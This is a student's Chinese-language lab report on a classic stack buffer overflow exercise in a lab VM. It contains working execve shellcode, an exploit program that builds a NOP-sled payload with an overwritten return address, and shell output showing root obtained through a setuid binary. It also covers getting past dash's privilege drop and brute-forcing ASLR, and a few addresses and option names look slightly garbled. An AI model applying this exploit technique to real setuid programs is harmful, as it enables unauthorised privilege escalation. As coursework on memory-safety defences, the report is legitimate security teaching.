

Buffer Overflow Vulnerability Lab

57117213 张曙

Task 1: Running Shellcode

使用GCC的 `-z execstack` 选项编译 `call_shellcode.c` 文件后，运行：

```
[09/02/20]seed@VM:~/lab-2$ ./call_shellcode
$
```

成功调用了shell。

Task 2: Exploiting the Vulnerability

对于 `BUF_SIZE` 为24的情况，将 `stack.c` 编译为可执行程序后（需要使用 `-g` 附加调试信息），用GDB调试。首先，使用 `b bof` 对 `bof` 设置断点，然后使用 `run` 运行。在程序暂停在 `bof` 入口时，查看部分数据：

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffeaf8
gdb-peda$ p &buffer
$2 = (char (*)[24]) 0xbfffead8
gdb-peda$ p/d 0xbfffeaf8 - 0xbfffead8
$3 = 32
```

使用 `p $ebp` 查看 `ebp` 寄存器此时的值，使用 `p &buffer` 查看 `buffer` 数组的地址。`ebp` 寄存器此时的值再加4就是 `bof` 函数返回地址所在的内存地址，那么通过 `p/d` 就可以计算出 `buffer` 与 `bof` 返回地址之间的距离为 $32+4=36$ 。

因此，`exploit.c` 的程序为：

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main() {
    char buffer[517];
    FILE *badfile = fopen("./badfile", "w");
    memset(&buffer, 0x90, 517);
    int start = 517 - sizeof(code) / sizeof(char);
```

```

strcpy(buffer + start, code);
unsigned int ret = 0xbfffec58; /* $ebp (0xbfffeaf8) */
buffer[36] = 0x58;
buffer[37] = 0xec;
buffer[38] = 0xff;
buffer[39] = 0xbf;

fwrite(buffer, 517, 1, badfile);
fclose(badfile);
return 0;
}

```

将 0x90 (NOP 指令) 填满 `buffer`, 在 `buffer` 的尾部填充 shellcode, 而在第 36-39 个字节处, 应填写的是我们希望 `bof` 函数返回的地址。因此, 我们选择一个与 `ebp` 值相距较近的, 不包含 0x00 的地址 0xbfffec58, 按小端序填入 `buffer`。

在此之后再次编译 `stack.c`:

```

gcc -DBUF_SIZE=24 -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack

```

然后运行:

```

[09/03/20]seed@VM:~/lab-2$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

```

成功得到 Shell, 并且使用 `id` 命令可以查看到当前 RUID 为 1000, 也就是当前普通用户 seed 的 ID, 而 EUID 为 0, 也就是成功拿到了 root 用户的权限。

Task 3: Defeating `dash`'s Countermeasure

首先将 `setuid(0)` 注释, 调用 `stack` 的结果为:

```

[09/03/20]seed@VM:~/lab-2$ ./stack
$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

```

获取到的 Shell 为普通用户 seed 的 Shell。

将 `setuid(0)` 取消注释, 再次调用 `stack` 的结果为:

```

[09/03/20]seed@VM:~/lab-2$ ./stack
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

```

获得到的 Shell 为 root 的 Shell。

将 `setuid(0)` 的汇编代码加入 shellcode 后, 在 `dash` 下运行 `stack` 也能获得 root 的 Shell 了。

这是因为，从 `dash` 的源码中可以看到：

```
if (!pflag && (uid != geteuid() || gid != geteguid())) { /* ... */ }
```

如果RUID与EUID不同，或用户组的RUID与EUID不同时，`dash`会降权限。而我们通过`setuid(0)`将RUID也设置为root，就与euid想通了，那么`dash`就不会降权限了。

Task 4: Defeating Address Randomization

将ASLR开启后，运行脚本，在22分钟后成功获得Shell:

```
./task_4.sh: line 15: 29396 Segmentation fault      ./stack
22 minutes and 42 seconds elapsed.
The program has been running 0 times so far.
./task_4.sh: line 15: 29397 Segmentation fault      ./stack
22 minutes and 42 seconds elapsed.
The program has been running 0 times so far.
./task_4.sh: line 15: 29398 Segmentation fault      ./stack
22 minutes and 42 seconds elapsed.
The program has been running 0 times so far.
./task_4.sh: line 15: 29399 Segmentation fault      ./stack
22 minutes and 42 seconds elapsed.
The program has been running 0 times so far.
./task_4.sh: line 15: 29400 Segmentation fault      ./stack
22 minutes and 42 seconds elapsed.
The program has been running 0 times so far.
$
```

Task 5: Turn on the StackGuard Protection

将`-fno-stack-protector`选项取消后，再次运行`stack`时报错：

```
[09/03/20]seed@VM:~/lab-2$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
```

并且能够精确报告出错误原因是被栈溢出攻击了。

Task 6: Turn on the Non-executable Stack Protection

选择`-z nostackexec`选项后，再次运行`stack`时报错：

```
[09/03/20]seed@VM:~/lab-2$ ./stack
Segmentation fault
```

此时使用GDB调试程序：

```

0xbffffec57:  nop
=> 0xbffffec58:  nop
0xbffffec59:  nop
0xbffffec5a:  nop
0xbffffec5b:  nop
0xbffffec5c:  nop

[-----st
0000| 0xbffffeb00 - -> 0x90909090
0004| 0xbffffeb04 - -> 0x90909090
0008| 0xbffffeb08 - -> 0x90909090
0012| 0xbffffeb0c - -> 0x90909090
0016| 0xbffffeb10 - -> 0x90909090
0020| 0xbffffeb14 - -> 0x90909090
0024| 0xbffffeb18 - -> 0x90909090
0028| 0xbffffeb1c - -> 0x90909090
[-----
Legend:  code,  data,  rodata,  value
Stopped reason: SIGSEGV
0xbffffec58 in ?? ()
gdb-peda$ 

```

可以发现，报错是在执行的shellcode的第一个指令（因为shellcode中设置的返回地址就是 `0xbffffec58`），因此可以看出，只要执行的指令地址位于栈上，就会出错。